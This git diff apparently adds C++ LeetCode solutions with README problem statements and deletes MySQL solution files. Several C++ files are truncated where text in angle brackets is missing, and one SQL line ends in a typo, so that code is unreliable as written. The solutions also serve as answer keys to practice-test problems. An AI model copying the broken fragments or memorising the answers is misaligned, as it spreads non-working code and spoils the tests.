  3. For each index i, where 0 <= i < n - 1, assign the value of newNums[i] as (nums[i] + nums[i+1]) % 10, where % denotes modulo operator.
  4. +
  5. Replace the array nums with newNums.
  6. +
  7. Repeat the entire process starting from step 1.
  8. +
+ +

Return the triangular sum of nums.

+ +

 

+

Example 1:

+ +
+Input: nums = [1,2,3,4,5]
+Output: 8
+Explanation:
+The above diagram depicts the process from which we obtain the triangular sum of the array.
+ +

Example 2:

+ +
+Input: nums = [5]
+Output: 5
+Explanation:
+Since there is only one element in nums, the triangular sum is the value of that element itself.
+ +

 

+

Constraints:

+ +
    +
  • 1 <= nums.length <= 1000
  • +
  • 0 <= nums[i] <= 9
  • +
diff --git a/Add Code Here/LeetCode_c++/2487-optimal-partition-of-string/2487-optimal-partition-of-string.cpp b/Add Code Here/LeetCode_c++/2487-optimal-partition-of-string/2487-optimal-partition-of-string.cpp new file mode 100644 index 00000000000..724d7636456 --- /dev/null +++ b/Add Code Here/LeetCode_c++/2487-optimal-partition-of-string/2487-optimal-partition-of-string.cpp @@ -0,0 +1,23 @@ +class Solution { +public: + int partitionString(string s) + { + vectorlastseen(26,-1); + // storing the last seenof each letter + + int subset=1; + int newstart=0; + + for(int i=0;i=newstart) + { + subset++; + newstart=i; + } + lastseen[s[i]-'a']=i; + + } + return subset; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/2487-optimal-partition-of-string/README.md b/Add Code Here/LeetCode_c++/2487-optimal-partition-of-string/README.md new file mode 100644 index 00000000000..fa7f59ece31 --- /dev/null +++ b/Add Code Here/LeetCode_c++/2487-optimal-partition-of-string/README.md @@ -0,0 +1,33 @@ +

2487. Optimal Partition of String

Medium


Given a string s, partition the string into one or more substrings such that the characters in each substring are unique. That is, no letter appears in a single substring more than once.

+ +

Return the minimum number of substrings in such a partition.

+ +

Note that each character should belong to exactly one substring in a partition.

+ +

 

+

Example 1:

+ +
+Input: s = "abacaba"
+Output: 4
+Explanation:
+Two possible partitions are ("a","ba","cab","a") and ("ab","a","ca","ba").
+It can be shown that 4 is the minimum number of substrings needed.
+
+ +

Example 2:

+ +
+Input: s = "ssssss"
+Output: 6
+Explanation:
+The only valid partition is ("s","s","s","s","s","s").
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= s.length <= 105
  • +
  • s consists of only English lowercase letters.
  • +
diff --git a/Add Code Here/LeetCode_c++/2872-largest-element-in-an-array-after-merge-operations/2872-largest-element-in-an-array-after-merge-operations.cpp b/Add Code Here/LeetCode_c++/2872-largest-element-in-an-array-after-merge-operations/2872-largest-element-in-an-array-after-merge-operations.cpp new file mode 100644 index 00000000000..65d1251b6e7 --- /dev/null +++ b/Add Code Here/LeetCode_c++/2872-largest-element-in-an-array-after-merge-operations/2872-largest-element-in-an-array-after-merge-operations.cpp @@ -0,0 +1,16 @@ +class Solution { +public: + long long maxArrayValue(vector& nums) + { + int n = nums.size(); + long long sum = nums[n-1]; + for(int i=n-2;i>=0;i--) + { + if(nums[i]<=sum) + sum+=nums[i]; + else + sum=nums[i]; + } + return sum; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/2872-largest-element-in-an-array-after-merge-operations/README.md b/Add Code Here/LeetCode_c++/2872-largest-element-in-an-array-after-merge-operations/README.md new file mode 100644 index 00000000000..ec30fe94e5f --- /dev/null +++ b/Add Code Here/LeetCode_c++/2872-largest-element-in-an-array-after-merge-operations/README.md @@ -0,0 +1,41 @@ +

2872. Largest Element in an Array after Merge Operations

Medium


You are given a 0-indexed array nums consisting of positive integers.

+ +

You can do the following operation on the array any number of times:

+ +
    +
  • Choose an integer i such that 0 <= i < nums.length - 1 and nums[i] <= nums[i + 1]. Replace the element nums[i + 1] with nums[i] + nums[i + 1] and delete the element nums[i] from the array.
  • +
+ +

Return the value of the largest element that you can possibly obtain in the final array.

+ +

 

+

Example 1:

+ +
+Input: nums = [2,3,7,9,3]
+Output: 21
+Explanation: We can apply the following operations on the array:
+- Choose i = 0. The resulting array will be nums = [5,7,9,3].
+- Choose i = 1. The resulting array will be nums = [5,16,3].
+- Choose i = 0. The resulting array will be nums = [21,3].
+The largest element in the final array is 21. It can be shown that we cannot obtain a larger element.
+
+ +

Example 2:

+ +
+Input: nums = [5,3,3]
+Output: 11
+Explanation: We can do the following operations on the array:
+- Choose i = 1. The resulting array will be nums = [5,6].
+- Choose i = 0. The resulting array will be nums = [11].
+There is only one element in the final array, which is 11.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= nums.length <= 105
  • +
  • 1 <= nums[i] <= 106
  • +
diff --git a/Add Code Here/LeetCode_c++/2874. Maximum Value of an Ordered Triplet II.cpp b/Add Code Here/LeetCode_c++/2874. Maximum Value of an Ordered Triplet II.cpp new file mode 100644 index 00000000000..58df1f5b82a --- /dev/null +++ b/Add Code Here/LeetCode_c++/2874. Maximum Value of an Ordered Triplet II.cpp @@ -0,0 +1,27 @@ +//https://leetcode.com/problems/maximum-value-of-an-ordered-triplet-ii/description/ + +class Solution { +public: + long long maximumTripletValue(vector& nums) { + int n=nums.size(); + vectorp(n,0),s(n,0); + int m=nums[0]; + for(int i=1;i=0;i--){ + s[i]=m; + m=max(m,nums[i]); + } + long long a=0; + for(int i=0;i>& coordinates, int k) + { + map,int>mp; + int ans=0; + for( auto cod : coordinates) + { + int x1= cod[0]; + int y1= cod[1]; + + for( int i=0;i<=k;i++) + { + int x2= x1^i; + int y2= y1^(k-i); + ans+=mp[{x2,y2}]; + } + mp[{x1,y1}]++; + } + return ans; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/2953-count-pairs-of-points-with-distance-k/README.md b/Add Code Here/LeetCode_c++/2953-count-pairs-of-points-with-distance-k/README.md new file mode 100644 index 00000000000..97a8ee2e761 --- /dev/null +++ b/Add Code Here/LeetCode_c++/2953-count-pairs-of-points-with-distance-k/README.md @@ -0,0 +1,33 @@ +

2953. Count Pairs of Points With Distance k

Medium


You are given a 2D integer array coordinates and an integer k, where coordinates[i] = [xi, yi] are the coordinates of the ith point in a 2D plane.

+ +

We define the distance between two points (x1, y1) and (x2, y2) as (x1 XOR x2) + (y1 XOR y2) where XOR is the bitwise XOR operation.

+ +

Return the number of pairs (i, j) such that i < j and the distance between points i and j is equal to k.

+ +

 

+

Example 1:

+ +
+Input: coordinates = [[1,2],[4,2],[1,3],[5,2]], k = 5
+Output: 2
+Explanation: We can choose the following pairs:
+- (0,1): Because we have (1 XOR 4) + (2 XOR 2) = 5.
+- (2,3): Because we have (1 XOR 5) + (3 XOR 2) = 5.
+
+ +

Example 2:

+ +
+Input: coordinates = [[1,3],[1,3],[1,3],[1,3],[1,3]], k = 0
+Output: 10
+Explanation: Any two chosen pairs will have a distance of 0. There are 10 ways to choose two pairs.
+
+ +

 

+

Constraints:

+ +
    +
  • 2 <= coordinates.length <= 50000
  • +
  • 0 <= xi, yi <= 106
  • +
  • 0 <= k <= 100
  • +
diff --git a/Add Code Here/LeetCode_c++/2978-check-if-strings-can-be-made-equal-with-operations-ii/2978-check-if-strings-can-be-made-equal-with-operations-ii.cpp b/Add Code Here/LeetCode_c++/2978-check-if-strings-can-be-made-equal-with-operations-ii/2978-check-if-strings-can-be-made-equal-with-operations-ii.cpp new file mode 100644 index 00000000000..464fb7ae8b4 --- /dev/null +++ b/Add Code Here/LeetCode_c++/2978-check-if-strings-can-be-made-equal-with-operations-ii/2978-check-if-strings-can-be-made-equal-with-operations-ii.cpp @@ -0,0 +1,26 @@ +class Solution { +public: + bool checkStrings(string s1, string s2) + { + vectoreven(26,0),odd(26,0); + for(int i =0;i2978. Check if Strings Can be Made Equal With Operations II

Medium


You are given two strings s1 and s2, both of length n, consisting of lowercase English letters.

+ +

You can apply the following operation on any of the two strings any number of times:

+ +
    +
  • Choose any two indices i and j such that i < j and the difference j - i is even, then swap the two characters at those indices in the string.
  • +
+ +

Return true if you can make the strings s1 and s2 equal, and false otherwise.

+ +

 

+

Example 1:

+ +
+Input: s1 = "abcdba", s2 = "cabdab"
+Output: true
+Explanation: We can apply the following operations on s1:
+- Choose the indices i = 0, j = 2. The resulting string is s1 = "cbadba".
+- Choose the indices i = 2, j = 4. The resulting string is s1 = "cbbdaa".
+- Choose the indices i = 1, j = 5. The resulting string is s1 = "cabdab" = s2.
+
+ +

Example 2:

+ +
+Input: s1 = "abe", s2 = "bea"
+Output: false
+Explanation: It is not possible to make the two strings equal.
+
+ +

 

+

Constraints:

+ +
    +
  • n == s1.length == s2.length
  • +
  • 1 <= n <= 105
  • +
  • s1 and s2 consist only of lowercase English letters.
  • +
diff --git a/Add Code Here/LeetCode_c++/2999-check-if-strings-can-be-made-equal-with-operations-i/2999-check-if-strings-can-be-made-equal-with-operations-i.cpp b/Add Code Here/LeetCode_c++/2999-check-if-strings-can-be-made-equal-with-operations-i/2999-check-if-strings-can-be-made-equal-with-operations-i.cpp new file mode 100644 index 00000000000..0352874a60f --- /dev/null +++ b/Add Code Here/LeetCode_c++/2999-check-if-strings-can-be-made-equal-with-operations-i/2999-check-if-strings-can-be-made-equal-with-operations-i.cpp @@ -0,0 +1,11 @@ +class Solution { +public: + bool canBeEqual(string s1, string s2) + { + bool even = ( s1[0]==s2[0] && s1[2]==s2[2] ) || + ( s1[0]==s2[2] && s1[2]==s2[0] ); + bool odd = ( s1[1]==s2[1] && s1[3]==s2[3] ) || + ( s1[1]==s2[3] && s1[3]==s2[1] ); + return even && odd; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/2999-check-if-strings-can-be-made-equal-with-operations-i/README.md b/Add Code Here/LeetCode_c++/2999-check-if-strings-can-be-made-equal-with-operations-i/README.md new file mode 100644 index 00000000000..bc86a264a8d --- /dev/null +++ b/Add Code Here/LeetCode_c++/2999-check-if-strings-can-be-made-equal-with-operations-i/README.md @@ -0,0 +1,36 @@ +

2999. Check if Strings Can be Made Equal With Operations I

Easy


You are given two strings s1 and s2, both of length 4, consisting of lowercase English letters.

+ +

You can apply the following operation on any of the two strings any number of times:

+ +
    +
  • Choose any two indices i and j such that j - i = 2, then swap the two characters at those indices in the string.
  • +
+ +

Return true if you can make the strings s1 and s2 equal, and false otherwise.

+ +

 

+

Example 1:

+ +
+Input: s1 = "abcd", s2 = "cdab"
+Output: true
+Explanation: We can do the following operations on s1:
+- Choose the indices i = 0, j = 2. The resulting string is s1 = "cbad".
+- Choose the indices i = 1, j = 3. The resulting string is s1 = "cdab" = s2.
+
+ +

Example 2:

+ +
+Input: s1 = "abcd", s2 = "dacb"
+Output: false
+Explanation: It is not possible to make the two strings equal.
+
+ +

 

+

Constraints:

+ +
    +
  • s1.length == s2.length == 4
  • +
  • s1 and s2 consist only of lowercase English letters.
  • +
diff --git a/Add Code Here/LeetCode_c++/3045-minimum-right-shifts-to-sort-the-array/3045-minimum-right-shifts-to-sort-the-array.cpp b/Add Code Here/LeetCode_c++/3045-minimum-right-shifts-to-sort-the-array/3045-minimum-right-shifts-to-sort-the-array.cpp new file mode 100644 index 00000000000..fe068ce82b3 --- /dev/null +++ b/Add Code Here/LeetCode_c++/3045-minimum-right-shifts-to-sort-the-array/3045-minimum-right-shifts-to-sort-the-array.cpp @@ -0,0 +1,43 @@ +class Solution { +public: + int minimumRightShifts(vector& nums) + { + // int n=nums.size(); + // vectortemp =nums; + // sort(temp.begin(),temp.end()); + // int count=0; + // int i; + // for( i=0;i nums[i+1]) + { + pvtindex=i+1; + pvtcount++; + } + } + if( pvtcount>1) + return -1; + if( pvtindex==0) + return 0; + if( nums[n-1]<=nums[0]) + return n-pvtindex; + + return -1; + + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/3045-minimum-right-shifts-to-sort-the-array/README.md b/Add Code Here/LeetCode_c++/3045-minimum-right-shifts-to-sort-the-array/README.md new file mode 100644 index 00000000000..14068af3b17 --- /dev/null +++ b/Add Code Here/LeetCode_c++/3045-minimum-right-shifts-to-sort-the-array/README.md @@ -0,0 +1,39 @@ +

3045. Minimum Right Shifts to Sort the Array

Easy


You are given a 0-indexed array nums of length n containing distinct positive integers. Return the minimum number of right shifts required to sort nums and -1 if this is not possible.

+ +

A right shift is defined as shifting the element at index i to index (i + 1) % n, for all indices.

+ +

 

+

Example 1:

+ +
+Input: nums = [3,4,5,1,2]
+Output: 2
+Explanation: 
+After the first right shift, nums = [2,3,4,5,1].
+After the second right shift, nums = [1,2,3,4,5].
+Now nums is sorted; therefore the answer is 2.
+
+ +

Example 2:

+ +
+Input: nums = [1,3,5]
+Output: 0
+Explanation: nums is already sorted therefore, the answer is 0.
+ +

Example 3:

+ +
+Input: nums = [2,1,4]
+Output: -1
+Explanation: It's impossible to sort the array using right shifts.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= nums.length <= 100
  • +
  • 1 <= nums[i] <= 100
  • +
  • nums contains distinct integers.
  • +
diff --git a/Add Code Here/LeetCode_c++/3056-determine-if-a-cell-is-reachable-at-a-given-time/3056-determine-if-a-cell-is-reachable-at-a-given-time.cpp b/Add Code Here/LeetCode_c++/3056-determine-if-a-cell-is-reachable-at-a-given-time/3056-determine-if-a-cell-is-reachable-at-a-given-time.cpp new file mode 100644 index 00000000000..a3e115b7115 --- /dev/null +++ b/Add Code Here/LeetCode_c++/3056-determine-if-a-cell-is-reachable-at-a-given-time/3056-determine-if-a-cell-is-reachable-at-a-given-time.cpp @@ -0,0 +1,17 @@ +class Solution { +public: + bool isReachableAtTime(int sx, int sy, int fx, int fy, int t) + { + int x=abs(fx-sx); + int y=abs(fy-sy); + + int dis = max(x,y); + + if(t3056. Determine if a Cell Is Reachable at a Given Time

Medium


You are given four integers sx, sy, fx, fy, and a non-negative integer t.

+ +

In an infinite 2D grid, you start at the cell (sx, sy). Each second, you must move to any of its adjacent cells.

+ +

Return true if you can reach cell (fx, fy) after exactly t seconds, or false otherwise.

+ +

A cell's adjacent cells are the 8 cells around it that share at least one corner with it. You can visit the same cell several times.

+ +

 

+

Example 1:

+ +
+Input: sx = 2, sy = 4, fx = 7, fy = 7, t = 6
+Output: true
+Explanation: Starting at cell (2, 4), we can reach cell (7, 7) in exactly 6 seconds by going through the cells depicted in the picture above. 
+
+ +

Example 2:

+ +
+Input: sx = 3, sy = 1, fx = 7, fy = 3, t = 3
+Output: false
+Explanation: Starting at cell (3, 1), it takes at least 4 seconds to reach cell (7, 3) by going through the cells depicted in the picture above. Hence, we cannot reach cell (7, 3) at the third second.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= sx, sy, fx, fy <= 109
  • +
  • 0 <= t <= 109
  • +
diff --git a/Add Code Here/LeetCode_c++/3081-minimum-array-length-after-pair-removals/3081-minimum-array-length-after-pair-removals.cpp b/Add Code Here/LeetCode_c++/3081-minimum-array-length-after-pair-removals/3081-minimum-array-length-after-pair-removals.cpp new file mode 100644 index 00000000000..c73ffc5990f --- /dev/null +++ b/Add Code Here/LeetCode_c++/3081-minimum-array-length-after-pair-removals/3081-minimum-array-length-after-pair-removals.cpp @@ -0,0 +1,47 @@ +class Solution { +public: + /*Intuition +We store the count of the element that occurs maximum number of times. + +Notice that if the count of max occuring element is less than n/2 times, then the element can be cancelled by remaining elements. In this case, if array size is even, then we say that ans is 0 and 1 incase the array size is odd. Because after cancelling all elements, 1 element is still remaining at the end. + +If the element occurs more than n/2 times, so now it cannot cancel all elements. But it will still cancel all remaining elements. +How many elements are remaining? The elements remaining are (n - maxi). So elements left are maxi - (n - maxi) = 2*maxi - n; +*/ + int minLengthAfterRemovals(vector& nums) + { + int n=nums.size(); + // unordered_mapmp; + // for( auto i : nums) + // mp[i]++; + + // int mx=0; + // for( auto it:mp) + // mx= max(mx,it.second); + + // if( mx <= n/2 ) + // { + // if( n%2 ==0 ) + // return 0; + // else + // return 1; + // } + // else + // return 2* mx -n; + + int i=0,j=n/2; + int del=0; + + while( i 3081. Minimum Array Length After Pair Removals

Medium


You are given a 0-indexed sorted array of integers nums.

+ +

You can perform the following operation any number of times:

+ +
    +
  • Choose two indices, i and j, where i < j, such that nums[i] < nums[j].
  • +
  • Then, remove the elements at indices i and j from nums. The remaining elements retain their original order, and the array is re-indexed.
  • +
+ +

Return an integer that denotes the minimum length of nums after performing the operation any number of times (including zero).

+ +

Note that nums is sorted in non-decreasing order.

+ +

 

+

Example 1:

+ +
+Input: nums = [1,3,4,9]
+Output: 0
+Explanation: Initially, nums = [1, 3, 4, 9].
+In the first operation, we can choose index 0 and 1 because nums[0] < nums[1] <=> 1 < 3.
+Remove indices 0 and 1, and nums becomes [4, 9].
+For the next operation, we can choose index 0 and 1 because nums[0] < nums[1] <=> 4 < 9.
+Remove indices 0 and 1, and nums becomes an empty array [].
+Hence, the minimum length achievable is 0.
+ +

Example 2:

+ +
+Input: nums = [2,3,6,9]
+Output: 0
+Explanation: Initially, nums = [2, 3, 6, 9]. 
+In the first operation, we can choose index 0 and 2 because nums[0] < nums[2] <=> 2 < 6. 
+Remove indices 0 and 2, and nums becomes [3, 9]. 
+For the next operation, we can choose index 0 and 1 because nums[0] < nums[1] <=> 3 < 9. 
+Remove indices 0 and 1, and nums becomes an empty array []. 
+Hence, the minimum length achievable is 0.
+
+ +

Example 3:

+ +
+Input: nums = [1,1,2]
+Output: 1
+Explanation: Initially, nums = [1, 1, 2].
+In an operation, we can choose index 0 and 2 because nums[0] < nums[2] <=> 1 < 2. 
+Remove indices 0 and 2, and nums becomes [1]. 
+It is no longer possible to perform an operation on the array. 
+Hence, the minimum achievable length is 1. 
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= nums.length <= 105
  • +
  • 1 <= nums[i] <= 109
  • +
  • nums is sorted in non-decreasing order.
  • +
diff --git a/Add Code Here/LeetCode_c++/3092-minimum-moves-to-spread-stones-over-grid/3092-minimum-moves-to-spread-stones-over-grid.cpp b/Add Code Here/LeetCode_c++/3092-minimum-moves-to-spread-stones-over-grid/3092-minimum-moves-to-spread-stones-over-grid.cpp new file mode 100644 index 00000000000..957d45c3e4c --- /dev/null +++ b/Add Code Here/LeetCode_c++/3092-minimum-moves-to-spread-stones-over-grid/3092-minimum-moves-to-spread-stones-over-grid.cpp @@ -0,0 +1,51 @@ +class Solution { +public: + bool check(vector> &grid) + { + for(int i=0;i<3;i++) + { + for( int j=0;j<3;j++) + { + if(grid[i][j]!=1) + return 0; + } + } + return true; + } + int helper( vector>&grid) + { + if(check(grid)) + return 0; + + int ans =INT_MAX; + for( int i=0;i<3;i++) + { + for(int j=0;j<3;j++) + { + if( grid[i][j]==0 ) + { + grid[i][j]=1; + + for( int ii=0;ii<3;ii++) + { + for( int jj=0;jj<3;jj++) + { + if( grid[ii][jj]>1) + { + grid[ii][jj]-=1; + ans = min( ans, abs(ii-i)+abs(jj-j)+ helper(grid) ); + grid[ii][jj]+=1; + } + } + } + grid[i][j]=0; + } + } + } + return ans; + } + int minimumMoves(vector>& grid) + { + return helper(grid); + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/3092-minimum-moves-to-spread-stones-over-grid/README.md b/Add Code Here/LeetCode_c++/3092-minimum-moves-to-spread-stones-over-grid/README.md new file mode 100644 index 00000000000..ca2b970e3af --- /dev/null +++ b/Add Code Here/LeetCode_c++/3092-minimum-moves-to-spread-stones-over-grid/README.md @@ -0,0 +1,42 @@ +

3092. Minimum Moves to Spread Stones Over Grid

Medium


You are given a 0-indexed 2D integer matrix grid of size 3 * 3, representing the number of stones in each cell. The grid contains exactly 9 stones, and there can be multiple stones in a single cell.

+ +

In one move, you can move a single stone from its current cell to any other cell if the two cells share a side.

+ +

Return the minimum number of moves required to place one stone in each cell.

+ +

 

+

Example 1:

+ +
+Input: grid = [[1,1,0],[1,1,1],[1,2,1]]
+Output: 3
+Explanation: One possible sequence of moves to place one stone in each cell is: 
+1- Move one stone from cell (2,1) to cell (2,2).
+2- Move one stone from cell (2,2) to cell (1,2).
+3- Move one stone from cell (1,2) to cell (0,2).
+In total, it takes 3 moves to place one stone in each cell of the grid.
+It can be shown that 3 is the minimum number of moves required to place one stone in each cell.
+
+ +

Example 2:

+ +
+Input: grid = [[1,3,0],[1,0,0],[1,0,3]]
+Output: 4
+Explanation: One possible sequence of moves to place one stone in each cell is:
+1- Move one stone from cell (0,1) to cell (0,2).
+2- Move one stone from cell (0,1) to cell (1,1).
+3- Move one stone from cell (2,2) to cell (1,2).
+4- Move one stone from cell (2,2) to cell (2,1).
+In total, it takes 4 moves to place one stone in each cell of the grid.
+It can be shown that 4 is the minimum number of moves required to place one stone in each cell.
+
+ +

 

+

Constraints:

+ +
    +
  • grid.length == grid[i].length == 3
  • +
  • 0 <= grid[i][j] <= 9
  • +
  • Sum of grid is equal to 9.
  • +
diff --git a/Add Code Here/LeetCode_c++/Median of two sorted array.cpp b/Add Code Here/LeetCode_c++/Median of two sorted array.cpp new file mode 100644 index 00000000000..abc294250fa --- /dev/null +++ b/Add Code Here/LeetCode_c++/Median of two sorted array.cpp @@ -0,0 +1,112 @@ +class Solution { +public: + double findMedianSortedArrays(vector& nums1, vector& nums2) + { + int n1=nums1.size(),n2=nums2.size(); + + if(n1>n2) + return findMedianSortedArrays(nums2,nums1); + + int n = n1+n2; + int left = (n+1)/2; + + int low=0 ,high=n1; + + while(low<=high) + { + int mid1=(low+high)>>1; + int mid2= left-mid1; + + int l1 =INT_MIN ,l2=INT_MIN ,r1=INT_MAX,r2=INT_MAX; + + if( mid1 =1) + l1=nums1[mid1-1]; + if(mid2>=1) + l2=nums2[mid2-1]; + + if( l1<= r2 && l2<=r1 ) + { + if(n%2==1) + return max(l1,l2); + else + return (double)(max(l1,l2)+min(r1,r2)) /2; + } + + else if( l1>r2) + high =mid1-1; + else + low=mid1+1; + + } + return 0; + + //--------- + // int n = nums1.size(); + // int m = nums2.size(); + // int size =n+m ; + + // int idx1 = size/2; + // int idx2 = (size/2)-1; + + // int element1 =0; + // int element2 =0; + + // int i=0; + // int j=0; + // int k=0; + + // while( i4. Median of Two Sorted Arrays

Hard


Given two sorted arrays nums1 and nums2 of size m and n respectively, return the median of the two sorted arrays.

+ +

The overall run time complexity should be O(log (m+n)).

+ +

 

+

Example 1:

+ +
+Input: nums1 = [1,3], nums2 = [2]
+Output: 2.00000
+Explanation: merged array = [1,2,3] and median is 2.
+
+ +

Example 2:

+ +
+Input: nums1 = [1,2], nums2 = [3,4]
+Output: 2.50000
+Explanation: merged array = [1,2,3,4] and median is (2 + 3) / 2 = 2.5.
+
+ +

 

+

Constraints:

+ +
    +
  • nums1.length == m
  • +
  • nums2.length == n
  • +
  • 0 <= m <= 1000
  • +
  • 0 <= n <= 1000
  • +
  • 1 <= m + n <= 2000
  • +
  • -106 <= nums1[i], nums2[i] <= 106
  • +
\ No newline at end of file diff --git a/Add Code Here/MYSQL/DAY 1 SELECT/1757. Recyclable and Low Fat Products.sql b/Add Code Here/MYSQL/DAY 1 SELECT/1757. Recyclable and Low Fat Products.sql deleted file mode 100644 index 4aa0c039dec..00000000000 --- a/Add Code Here/MYSQL/DAY 1 SELECT/1757. Recyclable and Low Fat Products.sql +++ /dev/null @@ -1,2 +0,0 @@ -select product_id from Products -where low_fats='Y' and recyclable='Y'; diff --git a/Add Code Here/MYSQL/DAY 1 SELECT/183. Customers Who Never Order.sql b/Add Code Here/MYSQL/DAY 1 SELECT/183. Customers Who Never Order.sql deleted file mode 100644 index adcfbac5cf8..00000000000 --- a/Add Code Here/MYSQL/DAY 1 SELECT/183. Customers Who Never Order.sql +++ /dev/null @@ -1,2 +0,0 @@ -select name as Customers from Customers -where id not in(select customerId from Orders); \ No newline at end of file diff --git a/Add Code Here/MYSQL/DAY 1 SELECT/584. Find Customer Referee.sql b/Add Code Here/MYSQL/DAY 1 SELECT/584. Find Customer Referee.sql deleted file mode 100644 index f9286ca4856..00000000000 --- a/Add Code Here/MYSQL/DAY 1 SELECT/584. Find Customer Referee.sql +++ /dev/null @@ -1,2 +0,0 @@ -select name from Customer -where referee_id is null or referee_id!=2; \ No newline at end of file diff --git a/Add Code Here/MYSQL/DAY 1 SELECT/595. Big Countries.sql b/Add Code Here/MYSQL/DAY 1 SELECT/595. Big Countries.sql deleted file mode 100644 index d05dc70d69f..00000000000 --- a/Add Code Here/MYSQL/DAY 1 SELECT/595. Big Countries.sql +++ /dev/null @@ -1,2 +0,0 @@ -select name,population,area from World -where area>2999999 or population>24999999; \ No newline at end of file diff --git a/Add Code Here/MYSQL/DAY 10 WHERE/1050. Actors and Directors Who Cooperated At Least Three Times.sql b/Add Code Here/MYSQL/DAY 10 WHERE/1050. Actors and Directors Who Cooperated At Least Three Times.sql deleted file mode 100644 index da859c55dc8..00000000000 --- a/Add Code Here/MYSQL/DAY 10 WHERE/1050. Actors and Directors Who Cooperated At Least Three Times.sql +++ /dev/null @@ -1,4 +0,0 @@ -SELECT actor_id, director_id -FROM ActorDirector -GROUP BY actor_id, director_id -HAVING COUNT(timestamp)>=3; diff --git a/Add Code Here/MYSQL/DAY 10 WHERE/1084. Sales Analysis III.sql b/Add Code Here/MYSQL/DAY 10 WHERE/1084. Sales Analysis III.sql deleted file mode 100644 index 823a89a2da5..00000000000 --- a/Add Code Here/MYSQL/DAY 10 WHERE/1084. Sales Analysis III.sql +++ /dev/null @@ -1,6 +0,0 @@ -SELECT product_id, product_name -FROM Sales -JOIN Product -Using(product_id) -GROUP BY product_id -HAVING MIN(sale_date) >= '2019-01-01' AND MAX(sale_date) <= '2019-03-31'; diff --git a/Add Code Here/MYSQL/DAY 10 WHERE/1587. Bank Account Summary II.sql b/Add Code Here/MYSQL/DAY 10 WHERE/1587. Bank Account Summary II.sql deleted file mode 100644 index ce9306e44ce..00000000000 --- a/Add Code Here/MYSQL/DAY 10 WHERE/1587. Bank Account Summary II.sql +++ /dev/null @@ -1,4 +0,0 @@ -select u.name, sum(t.amount) balance -from users u -inner join transactions t on u.account=t.account -group by t.account having balance>10000; diff --git a/Add Code Here/MYSQL/DAY 10 WHERE/182. Duplicate Emails.sql b/Add Code Here/MYSQL/DAY 10 WHERE/182. Duplicate Emails.sql deleted file mode 100644 index 114857465fc..00000000000 --- a/Add Code Here/MYSQL/DAY 10 WHERE/182. Duplicate Emails.sql +++ /dev/null @@ -1,4 +0,0 @@ -SELECT DISTINCT a.Email - FROM Person a JOIN Person b - ON (a.Email = b.Email) - WHERE a.Id <> b.Id; diff --git a/Add Code Here/MYSQL/DAY 2 SELECT & ORDER/1873. Calculate Special Bonus.sql b/Add Code Here/MYSQL/DAY 2 SELECT & ORDER/1873. Calculate Special Bonus.sql deleted file mode 100644 index dda218ad9c3..00000000000 --- a/Add Code Here/MYSQL/DAY 2 SELECT & ORDER/1873. Calculate Special Bonus.sql +++ /dev/null @@ -1,4 +0,0 @@ -select employee_id, -if(employee_id%2 != 0 and name NOT LIKE 'M%', salary, 0) as bonus -from employees -order by employee_id; \ No newline at end of file diff --git a/Add Code Here/MYSQL/DAY 2 SELECT & ORDER/196. Delete Duplicate Emails.sql b/Add Code Here/MYSQL/DAY 2 SELECT & ORDER/196. Delete Duplicate Emails.sql deleted file mode 100644 index b51ae8ba883..00000000000 --- a/Add Code Here/MYSQL/DAY 2 SELECT & ORDER/196. Delete Duplicate Emails.sql +++ /dev/null @@ -1,2 +0,0 @@ -delete p1 from Person p1, Person p2 -where p1.email = p2.email && p1.id > p2.id; \ No newline at end of file diff --git a/Add Code Here/MYSQL/DAY 2 SELECT & ORDER/627. Swap Salary.sql b/Add Code Here/MYSQL/DAY 2 SELECT & ORDER/627. Swap Salary.sql deleted file mode 100644 index c4c261dec9d..00000000000 --- a/Add Code Here/MYSQL/DAY 2 SELECT & ORDER/627. Swap Salary.sql +++ /dev/null @@ -1 +0,0 @@ -update salary set sex= char(ascii('f') + ascii('m') - ascii(sex)); \ No newline at end of file diff --git a/Add Code Here/MYSQL/DAY 4 UNION & SELECT/176. Second Highest Salary.sql b/Add Code Here/MYSQL/DAY 4 UNION & SELECT/176. Second Highest Salary.sql deleted file mode 100644 index 454381cff79..00000000000 --- a/Add Code Here/MYSQL/DAY 4 UNION & SELECT/176. Second Highest Salary.sql +++ /dev/null @@ -1,2 +0,0 @@ -Select MAX(Salary) as SecondHighestSalary from Employee -where Salary < (Select MAX(Salary) from Employee); \ No newline at end of file diff --git a/Add Code Here/MYSQL/DAY 4 UNION & SELECT/1795. Rearrange Products Table.sql b/Add Code Here/MYSQL/DAY 4 UNION & SELECT/1795. Rearrange Products Table.sql deleted file mode 100644 index d307001c2d6..00000000000 --- a/Add Code Here/MYSQL/DAY 4 UNION & SELECT/1795. Rearrange Products Table.sql +++ /dev/null @@ -1,5 +0,0 @@ -select product_id, 'store1' as store, store1 as price from Products where store1 is not NULL -union all -select product_id, 'store2' as store, store2 as price from Products where store2 is not NULL -union all -select product_id, 'store3' as store, store3 as price from Products where store3 is not NUL;L diff --git a/Add Code Here/MYSQL/DAY 4 UNION & SELECT/1965. Employees With Missing Information.sql b/Add Code Here/MYSQL/DAY 4 UNION & SELECT/1965. Employees With Missing Information.sql deleted file mode 100644 index 703c7586be6..00000000000 --- a/Add Code Here/MYSQL/DAY 4 UNION & SELECT/1965. Employees With Missing Information.sql +++ /dev/null @@ -1,6 +0,0 @@ -SELECT employee_id FROM Employees -WHERE employee_id NOT IN (SELECT employee_id FROM Salaries) -UNION -SELECT employee_id FROM Salaries -WHERE employee_id NOT IN (SELECT employee_id FROM Employees) -ORDER BY employee_id ASC; \ No newline at end of file diff --git a/Add Code Here/MYSQL/DAY 4 UNION & SELECT/608. Tree Node.sql b/Add Code Here/MYSQL/DAY 4 UNION & SELECT/608. Tree Node.sql deleted file mode 100644 index 566bb3c05cc..00000000000 --- a/Add Code Here/MYSQL/DAY 4 UNION & SELECT/608. Tree Node.sql +++ /dev/null @@ -1,5 